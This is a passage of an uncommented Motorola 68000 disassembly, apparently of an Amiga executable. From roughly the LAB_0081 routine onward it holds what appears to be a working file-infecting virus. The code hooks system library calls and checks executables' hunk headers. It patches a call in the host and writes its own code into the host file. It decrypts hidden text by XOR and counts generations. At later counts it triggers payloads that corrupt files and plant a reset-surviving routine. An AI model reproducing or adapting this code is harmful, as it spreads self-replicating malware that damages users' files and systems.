  1110.     BSR    LAB_00EA        ;0B42: 6100086E
  1111. LAB_0075:
  1112.     MOVEA.L    48(A7),A3        ;0B46: 266F0030
  1113.     MOVE.L    A2,D1            ;0B4A: 220A
  1114.     MOVE.L    D6,D2            ;0B4C: 2406
  1115.     MOVEA.L    A3,A6            ;0B4E: 2C4B
  1116.     JSR    -690(A6)        ;0B50: 4EAEFD4E
  1117.     MOVEA.L    D0,A2            ;0B54: 2440
  1118.     MOVE.L    A2,D0            ;0B56: 200A
  1119.     BNE    LAB_0060        ;0B58: 6600FE54
  1120. LAB_0076:
  1121.     MOVE.L    36(A7),D1        ;0B5C: 222F0024
  1122.     MOVEA.L    A3,A6            ;0B60: 2C4B
  1123.     JSR    -660(A6)        ;0B62: 4EAEFD6C
  1124.     MOVEA.L    A3,A0            ;0B66: 204B
  1125.     LEA    -104(A5),A1        ;0B68: 43EDFF98
  1126.     BSR    LAB_00F3        ;0B6C: 610008E4
  1127.     MOVE.L    D0,D7            ;0B70: 2E00
  1128.     TST.L    D7            ;0B72: 4A87
  1129.     BEQ.S    LAB_0077        ;0B74: 670E
  1130.     MOVEQ    #20,D5            ;0B76: 7A14
  1131.     MOVE.L    D7,D1            ;0B78: 2207
  1132.     MOVEQ    #0,D2            ;0B7A: 7400
  1133.     MOVEA.L    A3,A6            ;0B7C: 2C4B
  1134.     JSR    -474(A6)        ;0B7E: 4EAEFE26
  1135.     BRA.S    LAB_007A        ;0B82: 6042
  1136. LAB_0077:
  1137.     ADDQ.L    #1,D5            ;0B84: 5285
  1138.     MOVEA.L    -1612(A5),A2        ;0B86: 246DF9B4
  1139.     ADDQ.L    #4,A2            ;0B8A: 588A
  1140. LAB_0078:
  1141.     MOVE.L    A2,-1612(A5)        ;0B8C: 2B4AF9B4
  1142.     MOVEQ    #3,D0            ;0B90: 7003
  1143.     CMP.L    D0,D5            ;0B92: BA80
  1144.     BLT    LAB_005B        ;0B94: 6D00FDA6
  1145.     MOVEA.L    48(A7),A3        ;0B98: 266F0030
  1146.     TST.L    D4            ;0B9C: 4A84
  1147.     BLE.S    LAB_0079        ;0B9E: 6F0C
  1148.     LEA    LAB_00CB(PC),A0        ;0BA0: 41FA06F8
  1149.     MOVE.L    A0,D1            ;0BA4: 2208
  1150.     MOVEA.L    A3,A6            ;0BA6: 2C4B
  1151.     JSR    -948(A6)        ;0BA8: 4EAEFC4C
  1152. LAB_0079:
  1153.     MOVE.L    -28(A5),D5        ;0BAC: 2A2DFFE4
  1154.     TST.L    -72(A5)            ;0BB0: 4AADFFB8
  1155.     BEQ.S    LAB_007A        ;0BB4: 6710
  1156.     TST.L    -32(A5)            ;0BB6: 4AADFFE0
  1157.     BNE.S    LAB_007A        ;0BBA: 660A
  1158.     LEA    LAB_00D6(PC),A0        ;0BBC: 41FA070C
  1159.     MOVEQ    #5,D5            ;0BC0: 7A05
  1160.     MOVE.L    A0,-36(A5)        ;0BC2: 2B48FFDC
  1161. LAB_007A:
  1162.     MOVE.L    -104(A5),-108(A5)    ;0BC6: 2B6DFF98FF94
  1163.     BRA.S    LAB_007C        ;0BCC: 601E
  1164. LAB_007B:
  1165.     MOVEA.L    -108(A5),A0        ;0BCE: 206DFF94
  1166.     MOVE.L    (A0),-104(A5)        ;0BD2: 2B50FF98
  1167.     MOVEQ    #16,D0            ;0BD6: 7010
  1168.     ADD.L    12(A0),D0        ;0BD8: D0A8000C
  1169.     MOVEA.L    A0,A1            ;0BDC: 2248
  1170.     MOVEA.L    52(A7),A6        ;0BDE: 2C6F0034
  1171.     JSR    -210(A6)        ;0BE2: 4EAEFF2E
  1172.     MOVE.L    -104(A5),-108(A5)    ;0BE6: 2B6DFF98FF94
  1173. LAB_007C:
  1174.     TST.L    -108(A5)        ;0BEC: 4AADFF94
  1175.     BNE.S    LAB_007B        ;0BF0: 66DC
  1176.     MOVE.L    -36(A5),D0        ;0BF2: 202DFFDC
  1177.     BEQ.S    LAB_007D        ;0BF6: 670E
  1178.     MOVE.L    D0,D1            ;0BF8: 2200
  1179.     LEA    -84(A5),A0        ;0BFA: 41EDFFAC
  1180.     MOVE.L    A0,D2            ;0BFE: 2408
  1181.     MOVEA.L    A3,A6            ;0C00: 2C4B
  1182.     JSR    -954(A6)        ;0C02: 4EAEFC46
  1183. LAB_007D:
  1184.     MOVE.L    44(A7),D1        ;0C06: 222F002C
  1185.     MOVEA.L    A3,A6            ;0C0A: 2C4B
  1186.     JSR    -858(A6)        ;0C0C: 4EAEFCA6
  1187.     MOVE.L    D7,D1            ;0C10: 2207
  1188.     JSR    -462(A6)        ;0C12: 4EAEFE32
  1189.     MOVEA.L    A3,A1            ;0C16: 224B
  1190.     MOVEA.L    52(A7),A6        ;0C18: 2C6F0034
  1191.     JSR    -414(A6)        ;0C1C: 4EAEFE62
  1192.     BRA.S    LAB_007F        ;0C20: 6012
  1193. LAB_007E:
  1194.     MOVEA    #$0004,A0        ;0C22: 307C0004
  1195.     MOVEA.L    (A0),A1            ;0C26: 2250
  1196.     MOVEA.L    276(A1),A0        ;0C28: 20690114
  1197.     MOVEQ    #122,D0            ;0C2C: 707A
  1198.     MOVE.L    D0,148(A0)        ;0C2E: 21400094
  1199.     MOVEQ    #20,D5            ;0C32: 7A14
  1200. LAB_007F:
  1201.     TST.L    D5            ;0C34: 4A85
  1202.     BNE.S    LAB_0080        ;0C36: 6606
  1203.     TST.L    D7            ;0C38: 4A87
  1204.     BEQ.S    LAB_0080        ;0C3A: 6702
  1205.     MOVEQ    #20,D5            ;0C3C: 7A14
  1206. LAB_0080:
  1207.     MOVE.L    D5,D0            ;0C3E: 2005
  1208.     MOVEM.L    (A7)+,D2-D7/A2-A3/A6    ;0C40: 4CDF4CFC
  1209.     UNLK    A5            ;0C44: 4E5D
  1210.     RTS                ;0C46: 4E75
  1211. LAB_0081:
  1212.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;0C48: 48E7FFFE
  1213.     MOVE    VHPOSR,D0        ;0C4C: 303900DFF006
  1214.     AND    #$000F,D0        ;0C52: C07C000F
  1215.     CMP    #$0007,D0        ;0C56: B07C0007
  1216.     BNE.S    LAB_0082        ;0C5A: 6602
  1217.     BSR.S    LAB_0084        ;0C5C: 610A
  1218. LAB_0082:
  1219.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;0C5E: 4CDF7FFF
  1220.     RTS                ;0C62: 4E75
  1221. LAB_0083:
  1222.     JSR    0(A6)            ;0C64: 4EAE0000
  1223. LAB_0084:
  1224.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;0C68: 48E7FFFE
  1225.     MOVEA.L    (ABSEXECBASE).W,A6    ;0C6C: 2C780004
  1226.     BSR    LAB_0095        ;0C70: 61000114
  1227.     MOVE    LAB_008C(PC),D0        ;0C74: 303A00BE
  1228.     CMP    #$0032,D0        ;0C78: B07C0032
  1229.     BLT.S    LAB_0085        ;0C7C: 6D14
  1230.     LEA    LAB_0092+2(PC),A0    ;0C7E: 41FA00D4
  1231.     MOVE.L    #$62536649,D0        ;0C82: 203C62536649
  1232.     ADDI.L    #$03030303,D0        ;0C88: 068003030303
  1233.     MOVE.L    D0,24(A0)        ;0C8E: 21400018
  1234. LAB_0085:
  1235.     MOVE    #$4E75,-224(A1)        ;0C92: 337C4E75FF20
  1236.     MOVEQ    #37,D0            ;0C98: 7025
  1237.     JSR    -552(A6)        ;0C9A: 4EAEFDD8
  1238.     MOVE.L    D0,D7            ;0C9E: 2E00
  1239.     BEQ.S    LAB_0086        ;0CA0: 6744
  1240.     LEA    LAB_008C+2(PC),A0    ;0CA2: 41FA0092
  1241.     MOVE.L    D7,(A0)            ;0CA6: 2087
  1242.     MOVEA.L    D7,A0            ;0CA8: 2047
  1243.     MOVEA.L    -148(A0),A0        ;0CAA: 2068FF6C
  1244.     CMPI.L    #$3D385E29,-6(A0)    ;0CAE: 0CA83D385E29FFFA
  1245.     BEQ.S    LAB_0089        ;0CB6: 6740
  1246.     MOVE.L    #$00002710,D0        ;0CB8: 203C00002710
  1247.     MOVEQ    #0,D1            ;0CBE: 7200
  1248.     JSR    -198(A6)        ;0CC0: 4EAEFF3A
  1249.     TST.L    D0            ;0CC4: 4A80
  1250.     BEQ.S    LAB_0086        ;0CC6: 671E
  1251.     LEA    LAB_008E(PC),A0        ;0CC8: 41FA0070
  1252.     MOVE.L    D0,(A0)            ;0CCC: 2080
  1253.     MOVE.L    D0,D6            ;0CCE: 2C00
  1254.     LEA    LAB_0083(PC),A0        ;0CD0: 41FAFF92
  1255.     MOVEA.L    D6,A1            ;0CD4: 2246
  1256.     MOVE.L    #$00002710,D0        ;0CD6: 203C00002710
  1257.     JSR    -630(A6)        ;0CDC: 4EAEFD8A
  1258.     MOVEA.L    D6,A0            ;0CE0: 2046
  1259.     JMP    166(A0)            ;0CE2: 4EE800A6
  1260. LAB_0086:
  1261.     LEA    LAB_0091(PC),A0        ;0CE6: 41FA0060
  1262.     MOVEQ    #46,D0            ;0CEA: 702E
  1263. LAB_0087:
  1264.     CLR    (A0)+            ;0CEC: 4258
  1265.     SUBQ.L    #2,D0            ;0CEE: 5580
  1266.     BNE.S    LAB_0087        ;0CF0: 66FA
  1267. LAB_0088:
  1268.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;0CF2: 4CDF7FFF
  1269.     RTS                ;0CF6: 4E75
  1270. LAB_0089:
  1271.     MOVE    LAB_008C(PC),D0        ;0CF8: 303A003A
  1272.     MOVE    -120(A0),D1        ;0CFC: 3228FF88
  1273.     CMP    D1,D0            ;0D00: B041
  1274.     BLE.S    LAB_0086        ;0D02: 6FE2
  1275.     MOVE    D0,-120(A0)        ;0D04: 3140FF88
  1276.     BRA.S    LAB_0086        ;0D08: 60DC
  1277.     BSR.S    LAB_0093+2        ;0D0A: 616C
  1278.     LEA    LAB_0084(PC),A0        ;0D0C: 41FAFF5A
  1279.     MOVE    #$48E7,(A0)        ;0D10: 30BC48E7
  1280.     MOVEA.L    D7,A1            ;0D14: 2247
  1281.     MOVEA.L    #$FFFFFF6A,A0        ;0D16: 207CFFFFFF6A
  1282. LAB_008A:
  1283.     LEA    LAB_009A(PC),A2        ;0D1C: 45FA008E
  1284.     MOVE.L    A2,D0            ;0D20: 200A
  1285.     JSR    -420(A6)        ;0D22: 4EAEFE5C
  1286.     TST.L    D0            ;0D26: 4A80
  1287.     BEQ.S    LAB_008B        ;0D28: 6708
  1288.     LEA    LAB_0090(PC),A0        ;0D2A: 41FA0016
  1289.     MOVE.L    D0,2(A0)        ;0D2E: 21400002
  1290. LAB_008B:
  1291.     BRA.S    LAB_0088        ;0D32: 60BE
  1292. LAB_008C:
  1293.     ORI.B    #$C0,D0            ;0D34: 000000C0
  1294.     CMPA    (A0)+,A3        ;0D38: B6D8
  1295. LAB_008E:
  1296.     DC.W    $00C1            ;0D3A
  1297.     BLE.S    LAB_008A+2        ;0D3C: 6FE0
  1298. LAB_008F:
  1299.     DC.W    $00C0            ;0D3E
  1300.     DC.W    $2B9D            ;0D40
  1301. LAB_0090:
  1302.     JMP    EXT_0005        ;0D42: 4EF900F97FBC
  1303. LAB_0091:
  1304.     ADD.B    D2,D1            ;0D48: D202
  1305.     EXG    D2,D3            ;0D4A: C543
  1306.     ADD.B    D4,D5            ;0D4C: DA04
  1307.     ADD.B    (A7)+,D2        ;0D4E: D41F
  1308.     ADD.B    D3,(A7)+        ;0D50: D71F
  1309. LAB_0092:
  1310.     AND    D7,-25786(A5)        ;0D52: CF6D9B46
  1311.     SUB    A5,D6            ;0D56: 9C4D
  1312.     ROL.B    #2,D1            ;0D58: E519
  1313.     DC.W    $C40C            ;0D5A
  1314.     DC.W    $D80A            ;0D5C
  1315.     ADDX    -(A5),-(A1)        ;0D5E: D34D
  1316.     DC.W    $F719            ;0D60
  1317.     ADDX.B    D2,D5            ;0D62: DB02
  1318.     AND.B    D2,(A5)+        ;0D64: C51D
  1319.     DC.W    $DE08            ;0D66
  1320.     DC.W    $C408            ;0D68
  1321.     DC.W    $9636            ;0D6A
  1322.     ADD.B    D0,-(A2)        ;0D6C: D122
  1323.     DC.W    $F909            ;0D6E
  1324.     LSL    #5,D5            ;0D70: EB4D
  1325.     SUB    D6,D6            ;0D72: 9C46
  1326.     DC.W    $9B6D            ;0D74
  1327. LAB_0093:
  1328.     CMP    16890(A5),D3        ;0D76: B66D41FA
  1329.     DC.W    $FFFC            ;0D7A
  1330.     MOVE    VHPOSR,D0        ;0D7C: 303900DFF006
  1331.     MOVE    D0,(A0)            ;0D82: 3080
  1332.     BRA.S    LAB_0096        ;0D84: 6004
  1333. LAB_0095:
  1334.     MOVE    LAB_0093(PC),D0        ;0D86: 303AFFEE
  1335. LAB_0096:
  1336.     LEA    LAB_0091(PC),A0        ;0D8A: 41FAFFBC
  1337.     MOVEA.L    A0,A1            ;0D8E: 2248
  1338.     MOVEQ    #46,D1            ;0D90: 722E
  1339. LAB_0097:
  1340.     EOR    D0,(A0)+        ;0D92: B158
  1341.     SUBQ.L    #2,D1            ;0D94: 5581
  1342.     BNE.S    LAB_0097        ;0D96: 66FA
  1343.     RTS                ;0D98: 4E75
  1344. LAB_0098:
  1345.     MOVE.L    A0,-(A7)        ;0D9A: 2F08
  1346.     LEA    LAB_008F(PC),A0        ;0D9C: 41FAFFA0
  1347.     MOVE.L    D1,(A0)            ;0DA0: 2081
  1348.     MOVEA.L    (A7)+,A0        ;0DA2: 205F
  1349.     RTS                ;0DA4: 4E75
  1350. LAB_0099:
  1351.     DC.W    $3D38            ;0DA6
  1352.     ADDQ.B    #7,0(A1)        ;0DA8: 5E290000
  1353. LAB_009A:
  1354.     BSR.S    LAB_0098        ;0DAC: 61EC
  1355.     BSR.S    LAB_0090        ;0DAE: 6192
  1356.     TST.L    D0            ;0DB0: 4A80
  1357.     BEQ.S    LAB_009E        ;0DB2: 6734
  1358.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;0DB4: 48E7FFFE
  1359.     MOVEA.L    LAB_008F(PC),A0        ;0DB8: 207AFF84
  1360.     CMPI.B    #$76,(A0)        ;0DBC: 0C100076
  1361.     BEQ.S    LAB_009D        ;0DC0: 6722
  1362.     CMPI.B    #$56,(A0)        ;0DC2: 0C100056
  1363.     BEQ.S    LAB_009D        ;0DC6: 671C
  1364. LAB_009B:
  1365.     CMPI.B    #$2E,(A0)        ;0DC8: 0C10002E
  1366.     BNE.S    LAB_009C        ;0DCC: 6610
  1367.     CMPI.B    #$6C,1(A0)        ;0DCE: 0C28006C0001
  1368.     BNE.S    LAB_009C        ;0DD4: 6608
  1369.     CMPI.B    #$4C,1(A0)        ;0DD6: 0C28004C0001
  1370.     BEQ.S    LAB_009D        ;0DDC: 6706
  1371. LAB_009C:
  1372.     TST.B    (A0)+            ;0DDE: 4A18
  1373.     BNE.S    LAB_009B        ;0DE0: 66E6
  1374.     BSR.S    LAB_009F        ;0DE2: 6106
  1375. LAB_009D:
  1376.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;0DE4: 4CDF7FFF
  1377. LAB_009E:
  1378.     RTS                ;0DE8: 4E75
  1379. LAB_009F:
  1380.     MOVEA.L    LAB_008C+2(PC),A6    ;0DEA: 2C7AFF4A
  1381.     MOVE.L    LAB_008F(PC),D1        ;0DEE: 223AFF4E
  1382.     MOVEQ    #-2,D2            ;0DF2: 74FE
  1383.     JSR    -84(A6)            ;0DF4: 4EAEFFAC
  1384.     MOVE.L    D0,D7            ;0DF8: 2E00
  1385.     BEQ.S    LAB_009E        ;0DFA: 67EC
  1386.     MOVEA.L    LAB_008E(PC),A5        ;0DFC: 2A7AFF3C
  1387.     ADDA.L    #$00000FA0,A5        ;0E00: DBFC00000FA0
  1388.     MOVE.L    A5,D2            ;0E06: 240D
  1389.     MOVE.L    D7,D1            ;0E08: 2207
  1390.     JSR    -114(A6)        ;0E0A: 4EAEFF8E
  1391.     MOVE.L    A5,D2            ;0E0E: 240D
  1392.     MOVE.L    D7,D1            ;0E10: 2207
  1393.     ADDI.L    #$000003E8,D2        ;0E12: 0682000003E8
  1394.     JSR    -102(A6)        ;0E18: 4EAEFF9A
  1395.     MOVE.L    D7,D1            ;0E1C: 2207
  1396.     JSR    -90(A6)            ;0E1E: 4EAEFFA6
  1397.     MOVEA.L    A5,A0            ;0E22: 204D
  1398.     CMPI    #$0052,10(A0)        ;0E24: 0C680052000A
  1399.     BNE    LAB_009E        ;0E2A: 6600FFBC
  1400.     MOVE.L    12(A0),D0        ;0E2E: 2028000C
  1401.     MOVE.L    D0,D2            ;0E32: 2400
  1402.     MOVE.L    16(A0),D1        ;0E34: 22280010
  1403.     SUB.L    D1,D0            ;0E38: 9081
  1404.     CMP.L    #$00000004,D0        ;0E3A: B0BC00000004
  1405.     BLE.S    LAB_009E        ;0E40: 6FA6
  1406.     ADDA.L    #$000003E8,A5        ;0E42: DBFC000003E8
  1407.     MOVE.L    124(A5),D0        ;0E48: 202D007C
  1408.     CMP.L    #$00000A28,D0        ;0E4C: B0BC00000A28
  1409.     BLE    LAB_009E        ;0E52: 6F00FF94
  1410.     CMP.L    #$00001770,D2        ;0E56: B4BC00001770
  1411.     BGT.S    LAB_00A0        ;0E5C: 6E0C
  1412.     CMP.L    #$00007530,D0        ;0E5E: B0BC00007530
  1413.     BGT    LAB_009E        ;0E64: 6E00FF82
  1414.     BRA.S    LAB_00A1        ;0E68: 600A
  1415. LAB_00A0:
  1416.     CMP.L    #$00046CD0,D0        ;0E6A: B0BC00046CD0
  1417.     BGT    LAB_009E        ;0E70: 6E00FF76
  1418. LAB_00A1:
  1419.     MOVE.L    A6,-(A7)        ;0E74: 2F0E
  1420.     MOVEA.L    (ABSEXECBASE).W,A6    ;0E76: 2C780004
  1421.     MOVE.L    124(A5),D0        ;0E7A: 202D007C
  1422.     MOVEQ    #0,D1            ;0E7E: 7200
  1423.     JSR    -198(A6)        ;0E80: 4EAEFF3A
  1424.     MOVEA.L    (A7)+,A6        ;0E84: 2C5F
  1425.     MOVE.L    D0,D7            ;0E86: 2E00
  1426.     BEQ    LAB_009E        ;0E88: 6700FF5E
  1427.     MOVE.L    LAB_008F(PC),D1        ;0E8C: 223AFEB0
  1428.     MOVE.L    #$000003ED,D2        ;0E90: 243C000003ED
  1429.     JSR    -30(A6)            ;0E96: 4EAEFFE2
  1430.     MOVE.L    D0,D1            ;0E9A: 2200
  1431.     BEQ    LAB_00A5        ;0E9C: 670000DA
  1432.     MOVE.L    D0,D6            ;0EA0: 2C00
  1433.     MOVE.L    D7,D2            ;0EA2: 2407
  1434.     MOVE.L    124(A5),D3        ;0EA4: 262D007C
  1435.     JSR    -42(A6)            ;0EA8: 4EAEFFD6
  1436.     MOVE.L    D6,D1            ;0EAC: 2206
  1437.     JSR    -36(A6)            ;0EAE: 4EAEFFDC
  1438.     BSR    LAB_00A6        ;0EB2: 610000D4
  1439.     MOVEA.L    D7,A0            ;0EB6: 2047
  1440.     CMPI    #$03F3,2(A0)        ;0EB8: 0C6803F30002
  1441.     BNE    LAB_00A5        ;0EBE: 660000B8
  1442.     MOVE.L    20(A0),D0        ;0EC2: 20280014
  1443.     ANDI.L    #$00FFFFFF,D0        ;0EC6: 028000FFFFFF
  1444.     ADDI.L    #$00000134,20(A0)    ;0ECC: 06A8000001340014
  1445. LAB_00A2:
  1446.     CMPI    #$03E9,(A0)+        ;0ED4: 0C5803E9
  1447.     BNE.S    LAB_00A2        ;0ED8: 66FA
  1448.     CMP.L    (A0),D0            ;0EDA: B090
  1449.     BNE    LAB_00A5        ;0EDC: 6600009A
  1450.     ADDI.L    #$00000134,(A0)        ;0EE0: 069000000134
  1451.     ADDQ.L    #4,A0            ;0EE6: 5888
  1452.     MOVEA.L    A0,A4            ;0EE8: 2848
  1453.     LSL.L    #2,D0            ;0EEA: E588
  1454.     ADDA.L    D0,A0            ;0EEC: D1C0
  1455.     CMPI.L    #$01080402,-4(A0)    ;0EEE: 0CA801080402FFFC
  1456.     BEQ    LAB_00A5        ;0EF6: 67000080
  1457.     MOVEA.L    A0,A3            ;0EFA: 2648
  1458.     MOVEA.L    A4,A0            ;0EFC: 204C
  1459. LAB_00A3:
  1460.     CMPI    #$4EAE,(A0)+        ;0EFE: 0C584EAE
  1461.     BEQ.S    LAB_00A4        ;0F02: 6706
  1462.     SUBQ.L    #2,D0            ;0F04: 5580
  1463.     BNE.S    LAB_00A3        ;0F06: 66F6
  1464.     BRA.S    LAB_00A5        ;0F08: 606E
  1465. LAB_00A4:
  1466.     MOVE    (A0),D6            ;0F0A: 3C10
  1467.     SUBQ.L    #2,A0            ;0F0C: 5588
  1468.     MOVE.L    A3,D0            ;0F0E: 200B
  1469.     SUB.L    A0,D0            ;0F10: 9088
  1470.     CMP.L    #$00007FF0,D0        ;0F12: B0BC00007FF0
  1471.     BGT    LAB_00A5        ;0F18: 6E00005E
  1472.     MOVE    #$4EBA,(A0)+        ;0F1C: 30FC4EBA
  1473.     SUBQ.L    #2,D0            ;0F20: 5580
  1474.     MOVE    D0,(A0)            ;0F22: 3080
  1475.     LEA    LAB_0083(PC),A0        ;0F24: 41FAFD3E
  1476.     MOVE    D6,2(A0)        ;0F28: 31460002
  1477.     LEA    LAB_008C(PC),A0        ;0F2C: 41FAFE06
  1478.     ADDQ    #1,(A0)            ;0F30: 5250
  1479.     MOVE.L    LAB_008F(PC),D1        ;0F32: 223AFE0A
  1480.     MOVE.L    #$000003EE,D2        ;0F36: 243C000003EE
  1481.     JSR    -30(A6)            ;0F3C: 4EAEFFE2
  1482.     MOVE.L    D0,D6            ;0F40: 2C00
  1483.     BEQ.S    LAB_00A5        ;0F42: 6734
  1484.     MOVE.L    D6,D1            ;0F44: 2206
  1485.     MOVE.L    D7,D2            ;0F46: 2407
  1486.     MOVE.L    A3,D3            ;0F48: 260B
  1487.     SUB.L    D7,D3            ;0F4A: 9687
  1488.     JSR    -48(A6)            ;0F4C: 4EAEFFD0
  1489.     MOVE.L    D6,D1            ;0F50: 2206
  1490.     LEA    LAB_0083(PC),A0        ;0F52: 41FAFD10
  1491.     MOVE.L    A0,D2            ;0F56: 2408
  1492.     MOVE.L    #$000004D0,D3        ;0F58: 263C000004D0
  1493.     JSR    -48(A6)            ;0F5E: 4EAEFFD0
  1494.     MOVE.L    D6,D1            ;0F62: 2206
  1495.     MOVE.L    A3,D2            ;0F64: 240B
  1496.     MOVE.L    124(A5),D3        ;0F66: 262D007C
  1497.     ADD.L    D7,D3            ;0F6A: D687
  1498.     SUB.L    A3,D3            ;0F6C: 968B
  1499.     JSR    -48(A6)            ;0F6E: 4EAEFFD0
  1500.     MOVE.L    D6,D1            ;0F72: 2206
  1501.     JSR    -36(A6)            ;0F74: 4EAEFFDC
  1502. LAB_00A5:
  1503.     MOVEA.L    (ABSEXECBASE).W,A6    ;0F78: 2C780004
  1504.     MOVEA.L    D7,A1            ;0F7C: 2247
  1505.     MOVE.L    124(A5),D0        ;0F7E: 202D007C
  1506.     JSR    -210(A6)        ;0F82: 4EAEFF2E
  1507.     RTS                ;0F86: 4E75
  1508. LAB_00A6:
  1509.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;0F88: 48E7FFFE
  1510.     MOVEQ    #0,D0            ;0F8C: 7000
  1511.     MOVE    VHPOSR,D0        ;0F8E: 303900DFF006
  1512.     ANDI    #$000F,D0        ;0F94: 0240000F
  1513.     CMP    #$0007,D0        ;0F98: B07C0007
  1514.     BNE.S    LAB_00A7        ;0F9C: 663A
  1515.     MOVE    LAB_008C(PC),D0        ;0F9E: 303AFD94
  1516.     CMP    #$003C,D0        ;0FA2: B07C003C
  1517.     BGE.S    LAB_00A8        ;0FA6: 6C36
  1518.     CMP    #$0032,D0        ;0FA8: B07C0032
  1519.     BLT.S    LAB_00A7        ;0FAC: 6D2A
  1520.     MOVEA.L    D7,A0            ;0FAE: 2047
  1521.     CLR.L    (A0)            ;0FB0: 4290
  1522.     MOVE.L    LAB_008F(PC),D1        ;0FB2: 223AFD8A
  1523.     MOVE.L    #$000003EE,D2        ;0FB6: 243C000003EE
  1524.     JSR    -30(A6)            ;0FBC: 4EAEFFE2
  1525.     MOVE.L    D0,D6            ;0FC0: 2C00
  1526.     BEQ.S    LAB_00A7        ;0FC2: 6714
  1527.     MOVE.L    D6,D1            ;0FC4: 2206
  1528.     LEA    LAB_0083(PC),A0        ;0FC6: 41FAFC9C
  1529.     MOVE.L    A0,D2            ;0FCA: 2408
  1530.     MOVEQ    #10,D3            ;0FCC: 760A
  1531.     JSR    -48(A6)            ;0FCE: 4EAEFFD0
  1532.     MOVE.L    D6,D1            ;0FD2: 2206
  1533.     JSR    -36(A6)            ;0FD4: 4EAEFFDC
  1534. LAB_00A7:
  1535.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;0FD8: 4CDF7FFF
  1536.     RTS                ;0FDC: 4E75
  1537. LAB_00A8:
  1538.     MOVE.L    124(A5),D0        ;0FDE: 202D007C
  1539.     CMP.L    #$00002710,D0        ;0FE2: B0BC00002710
  1540.     BGE.S    LAB_00AA        ;0FE8: 6C3A
  1541.     LEA    LAB_00AD(PC),A0        ;0FEA: 41FA0098
  1542.     MOVE.L    A0,D6            ;0FEE: 2C08
  1543.     BSR.S    LAB_00AB        ;0FF0: 6146
  1544.     LEA    LAB_0099(PC),A0        ;0FF2: 41FAFDB2
  1545.     MOVE.L    A0,D1            ;0FF6: 2208
  1546.     MOVE.L    #$000003EE,D2        ;0FF8: 243C000003EE
  1547.     JSR    -30(A6)            ;0FFE: 4EAEFFE2
  1548.     MOVE.L    D0,D6            ;1002: 2C00
  1549. LAB_00A9:
  1550.     MOVE.L    D6,D1            ;1004: 2206
  1551.     LEA    LAB_0083(PC),A0        ;1006: 41FAFC5C
  1552.     MOVE.L    A0,D2            ;100A: 2408
  1553.     MOVEQ    #10,D3            ;100C: 760A
  1554.     JSR    -48(A6)            ;100E: 4EAEFFD0
  1555.     MOVEQ    #3,D1            ;1012: 7203
  1556.     JSR    -198(A6)        ;1014: 4EAEFF3A
  1557.     MOVE    VHPOSR,COLOR00        ;1018: 33F900DFF00600DFF180
  1558.     BRA.S    LAB_00A9        ;1022: 60E0
  1559. LAB_00AA:
  1560.     LEA    LAB_00B0(PC),A0        ;1024: 41FA00AE
  1561.     MOVE.L    A0,D6            ;1028: 2C08
  1562.     BSR.S    LAB_00AB        ;102A: 610C
  1563.     JMP    EXT_0006        ;102C: 4EF900FC0000
  1564.     RESET                ;1032: 4E70
  1565.     DC.W    $FFFF            ;1034
  1566.     DC.W    $FFFF            ;1036
  1567. LAB_00AB:
  1568.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;1038: 48E7FFFE
  1569.     MOVEA.L    (ABSEXECBASE).W,A6    ;103C: 2C780004
  1570.     MOVEQ    #2,D1            ;1040: 7202
  1571.     MOVE.L    #$000001F4,D0        ;1042: 203C000001F4
  1572.     JSR    -198(A6)        ;1048: 4EAEFF3A
  1573.     MOVE.L    D0,D7            ;104C: 2E00
  1574.     MOVEA.L    D0,A1            ;104E: 2240
  1575.     MOVEA.L    D6,A0            ;1050: 2046
  1576.     MOVE.L    #$000001F4,D0        ;1052: 203C000001F4
  1577.     JSR    -630(A6)        ;1058: 4EAEFD8A
  1578.     MOVEA.L    D7,A1            ;105C: 2247
  1579.     MOVE.L    #$000001F4,D0        ;105E: 203C000001F4
  1580.     JSR    -204(A6)        ;1064: 4EAEFF34
  1581.     MOVE.L    D7,46(A6)        ;1068: 2D47002E
  1582.     LEA    34(A6),A0        ;106C: 41EE0022
  1583.     CLR    D0            ;1070: 4240
  1584.     MOVEQ    #23,D7            ;1072: 7E17
  1585. LAB_00AC:
  1586.     ADD    (A0)+,D0        ;1074: D058
  1587.     DBF    D7,LAB_00AC        ;1076: 51CFFFFC
  1588.     NOT    D0            ;107A: 4640
  1589.     MOVE    D0,(A0)            ;107C: 3080
  1590.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;107E: 4CDF7FFF
  1591.     RTS                ;1082: 4E75
  1592. LAB_00AD:
  1593.     LEA    HARDBASE,A5        ;1084: 4BF900DFF000
  1594.     MOVE.L    #$7FFF7FFF,150(A5)    ;108A: 2B7C7FFF7FFF0096
  1595.     MOVE    #$8280,150(A5)        ;1092: 3B7C82800096
  1596.     MOVE    #$C000,154(A5)        ;1098: 3B7CC000009A
  1597.     LEA    LAB_00AF(PC),A0        ;109E: 41FA0018
  1598.     MOVE.L    A0,128(A5)        ;10A2: 2B480080
  1599.     MOVE    D0,136(A5)        ;10A6: 3B400088
  1600.     MOVE    #$0000,508(A5)        ;10AA: 3B7C000001FC
  1601.     MOVE    #$0C00,262(A5)        ;10B0: 3B7C0C000106
  1602. LAB_00AE:
  1603.     BRA.S    LAB_00AE        ;10B6: 60FE
  1604. LAB_00AF:
  1605.     BCLR    D0,D0            ;10B8: 0180
  1606.     DC.W    $0000            ;10BA
  1607.     BCLR    D0,D2            ;10BC: 0182
  1608.     DC.W    $0000            ;10BE
  1609.     MOVEQ    #7,D0            ;10C0: 7007
  1610.     DC.W    $FFFE            ;10C2
  1611.     BCLR    D0,D0            ;10C4: 0180
  1612.     BTST    D7,D0            ;10C6: 0F00
  1613.     ADDX.B    D7,D2            ;10C8: D507
  1614.     DC.W    $FFFE            ;10CA
  1615.     BCLR    D0,D0            ;10CC: 0180
  1616.     DC.W    $0FF0            ;10CE
  1617.     DC.W    $FFFF            ;10D0
  1618.     DC.W    $FFFE            ;10D2
  1619. LAB_00B0:
  1620.     MOVEA.L    (ABSEXECBASE).W,A6    ;10D4: 2C780004
  1621.     MOVE.L    -454(A6),D0        ;10D8: 202EFE3A
  1622.     LEA    LAB_00B3(PC),A0        ;10DC: 41FA004C
  1623.     MOVE.L    D0,2(A0)        ;10E0: 21400002
